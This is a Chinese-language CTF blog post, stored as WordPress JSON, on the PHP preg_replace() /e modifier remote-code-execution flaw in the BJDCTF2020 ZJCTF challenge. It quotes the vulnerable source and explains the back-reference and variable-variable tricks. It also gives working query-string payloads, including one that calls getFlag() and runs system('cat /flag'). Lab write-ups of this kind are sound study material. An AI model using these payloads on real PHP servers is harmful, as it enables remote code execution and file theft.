{"id":246,"date":"2021-07-27T00:39:44","date_gmt":"2021-07-26T16:39:44","guid":{"rendered":"http:\/\/101.34.19.194\/?p=246"},"modified":"2021-08-04T12:08:00","modified_gmt":"2021-08-04T04:08:00","slug":"%e5%85%b3%e4%ba%8epreg_replace%e7%9a%84-e%e6%a8%a1%e5%bc%8f%e5%ad%98%e5%9c%a8%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/101.34.19.194\/?p=246","title":{"rendered":"\u5173\u4e8epreg_replace()\u7684\/e\u6a21\u5f0f\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e"},"content":{"rendered":"\n

\u5728php\u6b63\u5219\u5339\u914d\u4e2d\uff0c\u4fee\u6b63\u7b26\u53f7e<\/strong>\u7684\u529f\u80fd\uff1a\u53ea\u7528\u5728preg_replace()\u51fd\u6570\u4e2d\uff0c\u5728\u66ff\u6362\u5b57\u7b26\u4e32\u4e2d\u9006\u5411\u5f15\u7528\u505a\u6b63\u5e38\u7684\u66ff\u6362\uff0c\u5c06\u5176(\u5373\u201c\u66ff\u6362\u5b57\u7b26\u4e32\u201d)\u4f5c\u4e3aPHP\u4ee3\u7801\u6c42\u503c\uff0c\u5e76\u7528\u5176\u7ed3\u679c\u6765\u66ff\u6362\u6240\u641c\u7d22\u7684\u5b57\u7b26\u4e32\u3002<\/strong><\/p>\n\n\n\n

\u6316\u5751\u6e90\u4e8ebuuoj\u4e00\u9053\u9898[BJDCTF2020]ZJCTF\uff0c\u4e0d\u8fc7\u5982\u6b64<\/code><\/p>\n\n\n\n

\u9898\u4e2d\u7684\u5176\u4e2d\u4e00\u6bb5\u6e90\u7801<\/p>\n\n\n\n

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
\u200b
function complex($re, $str) {
    return preg_replace(
        '\/(' . $re . ')\/ei',
        'strtolower(\"\\\\1\")',
        $str
    );
}
\u200b
\u200b
foreach($_GET as $re => $str) {
    echo complex($re, $str). \"\\n\";
}
\u200b
function getFlag(){
    @eval($_GET['cmd']);
}
\u200b<\/code><\/pre>\n\n\n\n
\u722c\u5751\u4e00<\/h2>\n\n\n\n
\u5148\u7814\u7a76\u4e00\u5c0f\u6bb5\u4ee3\u7801\uff0c\u5173\u4e8epreg_replace<\/code>\u51fd\u6570<\/p>\n\n\n\n
<?php
preg_replace('\/(.*)\/ei', 'strtolower(\"\\\\1\")', ${phpinfo()});<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u7b2c\u4e00\u4e2a\u548c\u7b2c\u4e09\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u56fa\u5b9a\u4e3a ‘strtolower(“\\1”)’ \u5b57\u7b26\u4e32\u3002 \u6211\u4eec\u5148\u770b\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e2d\u7684\\1 \uff0c\\1\u5b9e\u9645\u4e0a\u5c31\u662f \\1\uff0c\u800c \\1 \u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u4e2d\u6709\u81ea\u5df1\u7684\u542b\u4e49<\/p>\n\n\n\n
\u53cd\u5411\u5f15\u7528<\/strong><\/p>
\u5bf9\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u6a21\u5f0f\u6216\u90e8\u5206\u6a21\u5f0f \u4e24\u8fb9\u6dfb\u52a0\u5706\u62ec\u53f7<\/strong> \u5c06\u5bfc\u81f4\u76f8\u5173 \u5339\u914d\u5b58\u50a8\u5230\u4e00\u4e2a\u4e34\u65f6\u7f13\u51b2\u533a<\/strong> \u4e2d\uff0c\u6240\u6355\u83b7\u7684\u6bcf\u4e2a\u5b50\u5339\u914d\u90fd\u6309\u7167\u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u6a21\u5f0f\u4e2d\u4ece\u5de6\u5230\u53f3\u51fa\u73b0\u7684\u987a\u5e8f\u5b58\u50a8\u3002\u7f13\u51b2\u533a\u7f16\u53f7\u4ece 1 \u5f00\u59cb\uff0c\u6700\u591a\u53ef\u5b58\u50a8 99 \u4e2a\u6355\u83b7\u7684\u5b50\u8868\u8fbe\u5f0f\u3002\u6bcf\u4e2a\u7f13\u51b2\u533a\u90fd\u53ef\u4ee5\u4f7f\u7528 ‘\\n’ \u8bbf\u95ee\uff0c\u5176\u4e2d n \u4e3a\u4e00\u4e2a\u6807\u8bc6\u7279\u5b9a\u7f13\u51b2\u533a\u7684\u4e00\u4f4d\u6216\u4e24\u4f4d\u5341\u8fdb\u5236\u6570\u3002<\/p><\/blockquote>\n\n\n\n
\\1 \u5b9e\u9645\u4e0a\u6307\u5b9a\u7684\u662f\u7b2c\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u3002\u800c\u8fd9\u6bb5\u4ee3\u7801\u91cc\u9762\u7684\u7b2c\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u5c31\u662f${phpinfo()}\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u6267\u884c\u4e86phpinfo\u3002<\/p>\n\n\n\n
\"image-20210726231823724\"\/<\/div><\/figure>\n\n\n\n
\u722c\u5751\u4e8c<\/h2>\n\n\n\n
\u7531\u6b64\u5c06\u4e0a\u4e00\u6bb5\u4ee3\u7801\u7684\u5b9a\u91cf\u53d8\u6210\u53d8\u91cf\u8fdb\u884c\u66ff\u6362<\/p>\n\n\n\n
<?php
function complexStrtolower($regex,$value){
    return preg_replace( '\/(' .  $regex . ')\/ei' , strtolower (\"\\\\1\")' , $value);
}
foreach($_GET as $regex => $value){
    echo complexStrtolower($regex,$value);
}<\/code><\/pre>\n\n\n\n
\u5c06\u53c2\u6570\u540d\u4e3a.*<\/code>\uff0c\u53c2\u6570\u503c\u4e3a{${phpinfo()}}<\/code>\u901a\u8fc7GET\u65b9\u5f0f\u4f20\u5165<\/p>\n\n\n\n
payload\u4e3a\uff1a\/?.*={${phpinfo()}}<\/code><\/p>\n\n\n\n
\u7ed3\u679c\u65e0\u6cd5\u50cf\u4e00\u90a3\u6837\u6267\u884c<\/p>\n\n\n\n
\u5728echo\u8f93\u51fa\u8bed\u53e5\u540e\u9762\u8f93\u51fa\u4e00\u4e0b$_GET\u6570\u7ec4<\/p>\n\n\n\n
var_dump($_GET);<\/code><\/p>\n\n\n\n
\u7136\u540e\u53d1\u73b0\u4f20\u8fdb\u53bb\u7684.<\/code>\u53d8\u6210_<\/code><\/p>\n\n\n\n
\"image-20210726234958722\"\/<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u6362\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u8ba9\u5176\u5339\u914d\u5230 {${phpinfo()}}<\/strong> \u5373\u53ef\u6267\u884c phpinfo<\/strong> \u51fd\u6570\u3002\u8fd9\u91cc\u6211\u63d0\u4f9b\u4e00\u4e2a payload<\/strong> \uff1a\\S*=${phpinfo()}<\/code><\/p>\n\n\n\n
\u722c\u5751\u4e09<\/h2>\n\n\n\n
\u4e0b\u9762\u518d\u8bf4\u8bf4\u6211\u4eec\u4e3a\u4ec0\u4e48\u8981\u5339\u914d\u5230 {${phpinfo()}} \u6216\u8005 ${phpinfo()} \uff0c\u624d\u80fd\u6267\u884c phpinfo \u51fd\u6570\uff0c\u8fd9\u662f\u4e00\u4e2a\u5c0f\u5751\u3002\u8fd9\u5b9e\u9645\u4e0a\u662f PHP\u53ef\u53d8\u53d8\u91cf \u7684\u539f\u56e0\u3002\u5728PHP\u4e2d\u53cc\u5f15\u53f7\u5305\u88f9\u7684\u5b57\u7b26\u4e32\u4e2d\u53ef\u4ee5\u89e3\u6790\u53d8\u91cf\uff0c\u800c\u5355\u5f15\u53f7\u5219\u4e0d\u884c\u3002 ${phpinfo()} \u4e2d\u7684 phpinfo() \u4f1a\u88ab\u5f53\u505a\u53d8\u91cf\u5148\u6267\u884c\uff0c\u6267\u884c\u540e\uff0c\u5373\u53d8\u6210 ${1} (phpinfo()\u6210\u529f\u6267\u884c\u8fd4\u56detrue)\u3002<\/p>\n\n\n\n
var_dump(phpinfo()); \/\/ \u7ed3\u679c\uff1a\u5e03\u5c14 true
var_dump(strtolower(phpinfo()));\/\/ \u7ed3\u679c\uff1a\u5b57\u7b26\u4e32 '1'
var_dump(preg_replace('\/(.*)\/ie','1','{${phpinfo()}}'));\/\/ \u7ed3\u679c\uff1a\u5b57\u7b26\u4e32'11'
\u200b
var_dump(preg_replace('\/(.*)\/ie','strtolower(\"\\\\1\")','{${phpinfo()}}'));\/\/ \u7ed3\u679c\uff1a\u7a7a\u5b57\u7b26\u4e32''
var_dump(preg_replace('\/(.*)\/ie','strtolower(\"{${phpinfo()}}\")','{${phpinfo()}}'));\/\/ \u7ed3\u679c\uff1a\u7a7a\u5b57\u7b26\u4e32''
\u8fd9\u91cc\u7684'strtolower(\"{${phpinfo()}}\")'\u6267\u884c\u540e\u76f8\u5f53\u4e8e strtolower(\"{${1}}\") \u53c8\u76f8\u5f53\u4e8e strtolower(\"{null}\") \u53c8\u76f8\u5f53\u4e8e '' \u7a7a\u5b57\u7b26\u4e32<\/code><\/pre>\n\n\n\n
\u9898\u76ee<\/h2>\n\n\n\n
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
\u200b
function complex($re, $str) {
    return preg_replace(
        '\/(' . $re . ')\/ei',
        'strtolower(\"\\\\1\")',
        $str
    );
}
\u200b
\u200b
foreach($_GET as $re => $str) {
    echo complex($re, $str). \"\\n\";
}
\u200b
function getFlag(){
    @eval($_GET['cmd']);
}
\u200b<\/code><\/pre>\n\n\n\n
\u5982\u679c\u76f4\u63a5\u4f20.*<\/code>\u7531\u4e8ephp\u5b57\u7b26\u89e3\u6790 .\u4f1a\u88ab\u66ff\u4ee3\u6210\u4e0b\u5212\u7ebf \u6240\u4ee5\u6211\u4eec\u6362\u4e2a\u5143\u5b57\u7b26\\S \\S\u8868\u793a\u5339\u914d\u975e\u7a7a\u683c\u4ee5\u5916\u7684\u6240\u6709\u5b57\u7b26 \u8fd9\u4e5f\u6211\u4eec\u5c31\u80fd\u591f\u5339\u914d\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u4e86<\/p>\n\n\n\n
payload\uff1a?\\S*=${getFlag()}&cmd=system('cat \/flag');<\/code><\/p>\n\n\n\n
\u901a\u8fc7\u4e0a\u8ff0\u5f0f\u5b50\u8c03\u7528getFlag()\u51fd\u6570\uff0c\u7136\u540eRCE<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5728php\u6b63\u5219\u5339\u914d\u4e2d\uff0c\u4fee\u6b63\u7b26\u53f7e\u7684\u529f\u80fd\uff1a\u53ea\u7528\u5728preg_replace()\u51fd\u6570\u4e2d\uff0c\u5728\u66ff\u6362\u5b57\u7b26\u4e32\u4e2d\u9006\u5411\u5f15\u7528\u505a\u6b63\u5e38\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[16,20],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/246"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=246"}],"version-history":[{"count":1,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/246\/revisions"}],"predecessor-version":[{"id":247,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/246\/revisions\/247"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=246"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=246"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=246"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}